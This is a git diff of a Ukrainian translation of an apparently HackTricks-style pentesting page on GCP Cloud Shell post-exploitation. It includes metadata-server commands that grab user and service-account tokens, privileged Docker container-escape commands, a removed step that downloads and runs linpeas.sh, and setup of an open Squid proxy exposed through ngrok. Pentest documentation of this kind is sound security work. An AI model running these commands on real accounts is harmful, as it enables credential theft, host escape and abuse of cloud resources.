Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation

This commit is contained in:
Translator
2025-12-08 11:37:13 +00:00
parent 8bcfdb0919
commit 96eb41674d

View File

@@ -10,40 +10,40 @@
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Container Escape
### Отримання token користувача з metadata
Зверніть увагу, що Google Cloud Shell працює всередині контейнера — ви можете **достатньо легко вийти на хост**, виконавши:
Просто отримавши доступ до metadata server, ви можете отримати token, щоб діяти від імені поточного увійшовшого користувача:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
```
### Container Escape / Docker use
> [!WARNING]
> Раніше cloud shell запускався в контейнері з доступом до docker socket хоста. Тепер Google змінила архітектуру, і контейнер cloud shell працює в конфігурації "Docker in a container". Тож навіть якщо можливо використовувати docker з cloud shell, ви не зможете escape to the host, використовуючи docker socket.
> Зауважте, що раніше файл `docker.sock` знаходився в `/google/host/var/run/docker.sock`, але тепер його перемістили в `/run/docker.sock`.
<details>
<summary>Container escape commands</summary>
<summary>Docker use / Old container escape commands</summary>
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
sudo docker -H unix:///run/docker.sock pull alpine:latest
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///run/docker.sock start escaper
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
```
</details>
Це не вважається вразливістю з боку google, але дає ширше уявлення про те, що відбувається в цьому оточенні.
Крім того, зверніть увагу, що на хості можна знайти service account token:
Крім того, раніше можна було знайти токен для service account, який використовувався cloud shell VM, на metadata server:
<details>
<summary>Get service account from metadata</summary>
<summary>Старий service account із metadata</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
</details>
З наступними scopes:
<details>
<summary>Отримати service account scopes</summary>
З наступними областями доступу:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
```
</details>
Перелічити метадані за допомогою LinPEAS:
<details>
<summary>Перелічити метадані за допомогою LinPEAS</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
</details>
Після використання [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) з токеном Service Account **жодних дозволів не виявлено**...
### Використати як Proxy
Якщо ви хочете використовувати ваш google cloud shell екземпляр як proxy, вам потрібно виконати наступні команди (або вставити їх у файл .bashrc):
Якщо ви хочете використати ваш google cloud shell instance як proxy, треба виконати такі команди (або вставити їх у файл .bashrc):
<details>
@@ -79,11 +67,11 @@ sudo apt install -y squid
```
</details>
Просто щоб ви знали, Squid is a http proxy server. Створіть файл **squid.conf** з наступними налаштуваннями:
Для довідки, Squid — це http proxy server. Створіть файл **squid.conf** з такими налаштуваннями:
<details>
<summary>Створити файл squid.conf</summary>
<summary>Create squid.conf file</summary>
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
@@ -92,7 +80,7 @@ http_access allow all
```
</details>
Скопіюйте файл **squid.conf** до **/etc/squid**
скопіюйте файл **squid.conf** до **/etc/squid**
<details>
@@ -102,29 +90,29 @@ sudo cp squid.conf /etc/squid
```
</details>
Нарешті запустіть службу Squid:
Нарешті запустіть сервіс squid:
<details>
<summary>Запустіть службу Squid</summary>
<summary>Запустіть сервіс squid</summary>
```bash
sudo service squid start
```
</details>
Використайте ngrok, щоб зробити proxy доступним ззовні:
Використовуйте ngrok, щоб зробити proxy доступним зовні:
<details>
<summary>Зробити proxy доступним через ngrok</summary>
<summary>Відкрити proxy через ngrok</summary>
```bash
./ngrok tcp 3128
```
</details>
Після запуску скопіюйте tcp:// url. Якщо ви хочете запускати proxy з браузера, рекомендується видалити частину tcp:// і номер порту та ввести порт у полі port у налаштуваннях proxy вашого браузера (squid is a http proxy server).
Після запуску скопіюйте tcp:// url. Якщо ви хочете запускати proxy з браузера, рекомендується видалити частину tcp:// і порт та вказати порт у полі портів у налаштуваннях проксі вашого браузера (squid — це http proxy server).
Для зручнішого використання під час старту файл .bashrc повинен містити такі рядки:
Для зручнішого використання при старті файл .bashrc має містити такі рядки:
<details>
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
```
</details>
Інструкції були скопійовані з [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Перегляньте цю сторінку для інших божевільних ідей щодо запуску будь-якого програмного забезпечення (баз даних і навіть windows) у Cloud Shell.
Інструкції були скопійовані з [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Перегляньте цю сторінку для інших божевільних ідей щодо запуску будь-якого програмного забезпечення (баз даних і навіть Windows) у Cloud Shell.
{{#include ../../../banners/hacktricks-training.md}}